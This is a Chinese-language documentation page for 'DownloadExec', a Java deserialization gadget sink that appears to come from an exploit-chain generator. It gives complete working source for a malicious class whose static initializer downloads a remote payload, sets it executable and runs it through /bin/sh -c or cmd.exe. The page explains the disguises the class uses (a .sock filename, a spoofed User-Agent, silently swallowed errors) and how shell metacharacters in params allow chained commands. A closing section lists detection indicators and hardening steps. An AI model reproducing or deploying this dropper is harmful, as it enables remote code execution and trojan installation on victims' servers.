- 类别:bytecode 别名:— 优先级:15
- 作者:Ar3h
- 依赖:无第三方依赖(仅用内置 Javassist 生成字节码;运行期只用 JDK 自带的
java.net.HttpURLConnection与java.lang.ProcessBuilder)
生成一段「先从远程 URL 下载文件、赋予可执行权限、再用系统 shell 执行」的恶意类字节码(byte[]),自动识别 Windows/Linux。它属于两阶段落地型 sink:与直接执行命令的 Exec 不同,本 gadget 把真正的载荷(ELF / EXE / 脚本)放在攻击者服务器上,序列化 payload 里只携带一段下载器逻辑,因此更适合投递体积较大的木马、绕过对命令行内容的检测。产出的字节码交由上游 BytecodeConvert 处理后装入 TemplatesImpl 之类的类加载载体触发。
- 入口
tags:Bytecode、ENDBytecode—— 表示本 gadget 产出「原始字节码」,可被nextTags含Bytecode的上游(即 BytecodeConvert)承接。END—— 标记本 gadget 为链的合法终点(sink),其后不再接任何 gadget,也没有更内层对象。
- 衔接
nextTags:无 —— 本 gadget 是链尾,不产出可继续衔接的对象。 excludes:无。
Gadget 本体只负责「推进链上下文 + 用配置改写模板类的静态字段」,不含任何执行逻辑:
@Param(name="url", description="download url, eg: http://127.0.0.1/1.txt")
public String url;
@Param(name="path", description="eg: /tmp/a.elf, default: .sock")
public String path = ".sock"; // 落地文件名,默认伪装成 .sock
@Param(name="params", description="file params", requires=false)
public String params; // 可选:传给落地程序的运行参数
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(DownloadExecBytecode.class); // 以模板类为蓝本
javassistHelper.modifyStringField("url", this.url); // 反射改写模板里的静态字段 url
javassistHelper.modifyStringField("path", this.path); // 改写 path
javassistHelper.modifyStringField("params", this.params);// 改写 params
return javassistHelper.getBytecode(); // 导出修改后的 class 字节码
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // 本链无内层数据,仅推进链上下文(对齐 invoke 由内向外的构建约定)
return this.getObject();
}JavassistHelper 以 DownloadExecBytecode.class 为模板,用 modifyStringField 把模板中三个 public static String(url/path/params)的初始值替换成用户配置,再导出改写后的 class 字节码。invoke 里的 chain.doCreate(context) 在本链场景下并无内层产物(END sink),仅为遵守框架「由内向外构建」的约定而调用。
真正的下载与执行逻辑在模板类 DownloadExecBytecode 中,它借助静态初始化块在类被加载/初始化的瞬间触发:
public class DownloadExecBytecode {
public static String url; // 由 DownloadExec.getObject() 反射改写
public static String path;
public static String params;
public DownloadExecBytecode() {
int byteread = 0;
File file = new File(path);
try {
URL url_ = new URL(url);
HttpURLConnection http = (HttpURLConnection)url_.openConnection();
http.setConnectTimeout(5000); // 连接超时 5s,避免链因下载卡死
http.setRequestProperty("User-Agent", // 伪装成 Chrome,规避简单 UA 过滤
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_16_7) AppleWebKit/521.36 ...");
InputStream is = http.getInputStream();
FileOutputStream fs = new FileOutputStream(path);
byte[] buffer = new byte[1024];
while ((byteread = is.read(buffer)) != -1) { // 循环读流写盘,落地文件
fs.write(buffer, 0, byteread);
}
fs.close();
is.close();
file.setExecutable(true); // 赋予可执行权限(Linux 关键一步)
String fileStart = path + " " + params; // 拼成「路径 参数」命令行
String[] c = new String[]{"/bin/sh", "-c", fileStart};
if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
c = new String[]{"cmd.exe", "/c", fileStart}; // Windows 走 cmd.exe /c
}
new ProcessBuilder(c).start(); // 执行落地文件
}
catch (Exception exception) {
// empty catch block —— 静默吞异常,避免下载/执行失败中断反序列化流程
}
}
static { new DownloadExecBytecode(); } // 类初始化即 new,触发上面的下载+执行
}关键点:
- 触发时机:恶意逻辑放在
static {}+ 构造函数中,只要该类被加载并初始化(例如TemplatesImpl.newTransformer()经defineClass+newInstance实例化 translet)即触发,无需调用任何业务方法。 - 落地即执行:先经
HttpURLConnection下载并FileOutputStream写入path,setExecutable(true)后通过ProcessBuilder以<path> <params>交由 shell 运行。注意fileStart会经/bin/sh -c或cmd.exe /c解释,因此params中的元字符(;、|、&&等)会被 shell 解析,可用于二次命令拼接。 - 平台自适应:以
os.name是否startsWith("win")判定平台——这与 Exec 用contains("win")的写法略有差异,但对常见Windows *取值等价。 - 默认伪装:
path默认.sock,落地到当前工作目录、以类 Unix 套接字文件名伪装,降低被目视发现的概率。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
url |
url | 载荷下载地址,例 http://127.0.0.1/1.txt |
无(必填) | 任意 HTTP(S) URL |
path |
path | 落地文件名/路径,例 /tmp/a.elf |
.sock |
任意文件路径 |
params |
params | 传给落地程序的运行参数(可选,requires=false);经 shell 解释 |
无 | 任意字符串 |
- 无版本依赖,纯字节码 sink;下载用 JDK 自带
HttpURLConnection,执行用ProcessBuilder(参数以数组传给sh -c/cmd /c,命令行内容仍由 shell 二次解析)。 - 自动识别操作系统:Windows 走
cmd.exe /c,其余走/bin/sh -c;Linux 下依赖setExecutable(true)才能直接运行落地文件。 - 静默
catch (Exception)使下载超时、写盘失败或执行报错都不影响反序列化流程完成,隐蔽性强但也意味着攻击者无法从异常回显判断成败。 - 常与 BytecodeConvert 配合:BytecodeConvert 负责改类名、设置字节码版本(默认 JDK6/50)、可选实现
AbstractTranslet接口、混淆等,再交给 TemplatesImpl 触发,要求目标 JDK < 17(高版本改用TemplatesImpl2+ 反射绕过)。 - 相较直接命令执行,本 sink 发起主动出站 HTTP 请求并落盘可执行文件,在网络与主机两个维度都留下更显著痕迹(见下)。
自由构件,未直接出现在预设链中(usedInChains 为空)。可按 tag/nextTag 与 BytecodeConvert 等字节码载体组合,替换常规 RCE 链中的 Exec sink(如把 命令执行 链的 [BytecodeConvert, Exec] 换成 [BytecodeConvert, DownloadExec])以实现「下载并执行」。
- 上游(承接本
Bytecodetag):BytecodeConvert(nextTags=Bytecode),再往上是 TemplatesImpl 等字节码载体。 - 同族 sink:Exec(
ProcessBuilder直接执行命令)、ExecCustom(Runtime.exec版)、Download(仅下载不执行)、WriteFileExec(写文件后执行)等。
- 网络侧:反序列化处理进程(Java Web 服务、消息中间件等)在处理外部输入后主动发起出站 HTTP GET,且 User-Agent 固定为
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_16_7) AppleWebKit/521.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/521.36(版本号被人为改成521.36,与真实 Chrome 不符)——可作为高置信度 IOC。对服务端出站流量做白名单/告警。 - 主机侧:监控由 JVM 进程派生的
/bin/sh -c或cmd.exe /c子进程,以及短时间内「新文件落盘 →chmod +x/setExecutable→ 立即执行」的行为序列;对可写目录(/tmp、当前工作目录)中新增可执行文件、尤其是以.sock等异常后缀伪装者重点关注。 - 载荷指纹:序列化流中若出现被
TemplatesImpl装载的 translet 字节码,且其常量池含openConnection、HttpURLConnection、setExecutable、ProcessBuilder等字符串组合,即为本类 sink 特征。 - 加固:升级/收敛反序列化入口(黑白名单、
ObjectInputFilter);对服务进程施加最小权限与出站网络隔离,禁止其派生 shell 子进程;生产 JVM 使用 JDK 17+ 以削弱TemplatesImpl加载路径。